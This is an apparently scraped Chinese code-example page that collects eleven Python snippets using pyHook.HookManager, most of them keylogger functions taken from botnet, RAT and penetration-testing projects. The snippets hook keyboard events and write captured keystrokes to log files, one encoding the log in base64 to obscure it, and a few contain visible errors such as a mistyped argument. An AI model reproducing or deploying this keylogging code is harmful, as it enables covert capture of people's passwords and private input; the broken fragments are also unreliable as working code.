当前位置: 首页>>代码示例>>Python>>正文


Python pyHook.HookManager方法代码示例

本文整理汇总了Python中pyHook.HookManager方法的典型用法代码示例。如果您正苦于以下问题:Python pyHook.HookManager方法的具体用法?Python pyHook.HookManager怎么用?Python pyHook.HookManager使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在pyHook的用法示例。


在下文中一共展示了pyHook.HookManager方法的11个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: keylogger

# 需要导入模块: import pyHook [as 别名]
# 或者: from pyHook import HookManager [as 别名]
def keylogger(size):
    if os.name == "nt":
        import win32api
        import pythoncom
        from pyHook import HookManager
    else:
        p = subprocess.Popen(["echo $DISPLAY"], shell=True, stdout=subprocess.PIPE)
        output, err = p.communicate()
        if len(str(output).strip()) == 0:
            return "Display not found"
        else:
            import pyxhook
            from pyxhook import HookManager
    global keysPressed
    hm = HookManager()
    hm.KeyDown = onkeyboardevent
    hm.HookKeyboard()
    if os.name != "nt":
        hm.start()
    while len(keysPressed) < int(size):
        if os.name == "nt":
            pythoncom.PumpWaitingMessages()
    else:
        keys = keysPressed
        keysPressed = ">"
        if os.name == "nt":
            hm.UnhookKeyboard()
        else:
            hm.cancel()
        return keys 
开发者ID:jpdias,项目名称:botnet-lab,代码行数:32,代码来源:keylogger.py

示例2: OnKeyboardEvent

# 需要导入模块: import pyHook [as 别名]
# 或者: from pyHook import HookManager [as 别名]
def OnKeyboardEvent(event):
	 logging.basicConfig(filename*file_log, level=logging.DEBUG, format='%(message)s')
	 chr(event.Ascii)
	 logging.log(10,chr(event.Ascii))
	 return True

#instantiate HookManager class 
开发者ID:PacktPublishing,项目名称:Effective-Python-Penetration-Testing,代码行数:9,代码来源:pyHookKeyLogger.py

示例3: keylogger

# 需要导入模块: import pyHook [as 别名]
# 或者: from pyHook import HookManager [as 别名]
def keylogger():
	if console:
		print "* Logging key events... (press enter to escape)"
		
	def OnKeyboardEvent (event):
		keys = ""
		full_path = os.path.realpath(__file__)
		path, file = os.path.split(full_path)
		path = path + "\keylogs.txt"
		keyfile = open(path, "a")
		key = chr(event.Ascii)
		if event.Ascii == 13:
			key = "\n"
			hook.UnhookKeyboard()
			if console:
				print "* done\n"
			main()

		keys = keys + key
		keyfile.write(keys)
		keyfile.close()
		 
	hook = pyHook.HookManager()
	hook.KeyDown = OnKeyboardEvent
	hook.HookKeyboard()
	pythoncom.PumpMessages() 
开发者ID:mertsarica,项目名称:hack4career,代码行数:28,代码来源:apt_simulator.py

示例4: keylogger

# 需要导入模块: import pyHook [as 别名]
# 或者: from pyHook import HookManager [as 别名]
def keylogger(self):
        obj = pyHook.HookManager()
        obj.KeyDown = self.keydown
        obj.HookKeyboard()
        obj.HookMouse()
        pythoncom.PumpMessages() 
开发者ID:invasi0nZ,项目名称:Lo0sR,代码行数:8,代码来源:Lo0sR.py

示例5: _run_windows

# 需要导入模块: import pyHook [as 别名]
# 或者: from pyHook import HookManager [as 别名]
def _run_windows():
    global abort
    while True:
        hm = hook_manager.HookManager()
        hm.KeyDown = _event
        hm.HookKeyboard()
        pythoncom.PumpMessages()
        if abort:
            break 
开发者ID:malwaredllc,项目名称:byob,代码行数:11,代码来源:keylogger.py

示例6: _run

# 需要导入模块: import pyHook [as 别名]
# 或者: from pyHook import HookManager [as 别名]
def _run():
    global abort
    while True:
        hm = hook_manager.HookManager()
        hm.KeyDown = _event
        hm.HookKeyboard()
        time.sleep(0.1)
        if abort:
            break 
开发者ID:malwaredllc,项目名称:byob,代码行数:11,代码来源:keylogger.py

示例7: __init__

# 需要导入模块: import pyHook [as 别名]
# 或者: from pyHook import HookManager [as 别名]
def __init__(self, device=None, workdir='.'):
        super(WindowsRecorder, self).__init__(device, workdir)
        self.watched_hwnds = set()
        self.kbflag = 0
        self.hm = HookManager()
        self.hm.MouseAllButtons = self._hook_on_mouse
        self.hm.KeyAll = self._hook_on_keyboard 
开发者ID:NetEaseGame,项目名称:ATX,代码行数:9,代码来源:windows.py

示例8: keyit

# 需要导入模块: import pyHook [as 别名]
# 或者: from pyHook import HookManager [as 别名]
def keyit(self):
        self.hm = pyHook.HookManager()
        self.hm.KeyDown = self.OnKeyBoardEvent
        self.hm.HookKeyboard()
        pythoncom.PumpMessages() 
开发者ID:tuwid,项目名称:darkc0de-old-stuff,代码行数:7,代码来源:server.py

示例9: hookslaunch

# 需要导入模块: import pyHook [as 别名]
# 或者: from pyHook import HookManager [as 别名]
def hookslaunch():
    print '[*] Starting keylogger'
    a = Keylogger()
    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = a.OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.PumpMessages() 
开发者ID:mehulj94,项目名称:BrainDamage,代码行数:9,代码来源:RadiumKeylogger.py

示例10: keystrokes

# 需要导入模块: import pyHook [as 别名]
# 或者: from pyHook import HookManager [as 别名]
def keystrokes(self):
  hm = pyHook.HookManager()
  hm.KeyDown = self.pressed
  self.keylog = True
  hm.HookKeyboard()  
  while self.keylog:
   try:pythoncom.PumpWaitingMessages()
   except:pass
  else:hm.UnhookKeyboard() 
开发者ID:Pure-L0G1C,项目名称:FleX,代码行数:11,代码来源:keylogger.py

示例11: keylogger

# 需要导入模块: import pyHook [as 别名]
# 或者: from pyHook import HookManager [as 别名]
def keylogger(fd_temp_key: int):
    """Key logger thread.\n"""

    def OnKeyboardEvent(event):
        """"Define action triggered when a key is pressed.\n"""
        if not thr_block.isSet():
            if event.Ascii != 0 or 8:
                # Use base64 and not an encryption just for performance
                with open(keylogfile, 'r+b') as f_key:
                    data_decoded = b64decode(f_key.read()).decode('utf-8')
                    f_key.seek(0)
                    if event.Key == 'space':
                        data_decoded += ' '
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'BackSpace':
                        data_decoded += '[BackSpace]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'Return':
                        data_decoded += '[Enter]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'Shift_L':
                        data_decoded += '[Shift_L]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'Shift_R':
                        data_decoded += '[Shift_R]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'Tab':
                        data_decoded += '[Tab]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    else:
                        data_decoded += event.Key
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
        if thr_exit.isSet():
            os.close(fd_temp_key)
            hm.cancel()
        return True

    # create a hook manager
    if platform == 'windows':
        hm = pyHook.HookManager()
    else:
        hm = pyxhook.HookManager()
    # watch for all mouse events
    hm.KeyDown = OnKeyboardEvent
    # set the hook
    hm.HookKeyboard()
    # wait forever
    if platform == 'windows':
        pythoncom.PumpMessages()
    else:
        hm.start()


# ================================================================================================= 
开发者ID:4n4nk3,项目名称:TinkererShell,代码行数:56,代码来源:TinkererShell.py


注:本文中的pyHook.HookManager方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。